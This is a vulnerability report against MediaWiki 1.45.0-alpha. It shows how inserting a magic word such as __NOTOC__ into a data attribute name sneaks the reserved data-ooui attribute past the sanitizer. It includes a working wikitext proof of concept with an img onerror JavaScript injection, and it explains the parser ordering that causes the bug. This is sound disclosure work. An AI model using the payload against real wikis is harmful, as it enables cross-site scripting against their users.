Inserting a magic word in the name of a data attribute in wikitext allows bypassing the reserved data attribute check in Sanitizer::validateAttributes.
Reproduction steps
- Preview a page with the following contents (this specific PoC only works when previewing):
{{#tag:div|
|id=wpSummaryWidget
|data-__NOTOC__ooui={"_":"OO.ui.ButtonWidget","label":{"html":"<img src=x onerror=javascript:alert(1)>"}<nowiki/>}
}}- Wait a few seconds
Cause
Double underscores are escaped in user-provided attribute values, but they are allowed in the names of data attributes.
Parser::handleDoubleUndercore is called here after attributes of user-provided HTML tags in wikitext are already sanitized.
In this method, magic words are removed from the half-parsed HTML.
This means that data-__NOTOC__ooui becomes data-ooui, a reserved data attribute that allows inserting raw HTML into the DOM under certain conditions. All other reserved data attributes (starting with data-mw and data-parsoid) can also be inserted. data-mw attributes are often used to store HTML.
Additional information
- MediaWiki: 1.45.0-alpha
I could not reproduce this with Parsoid.
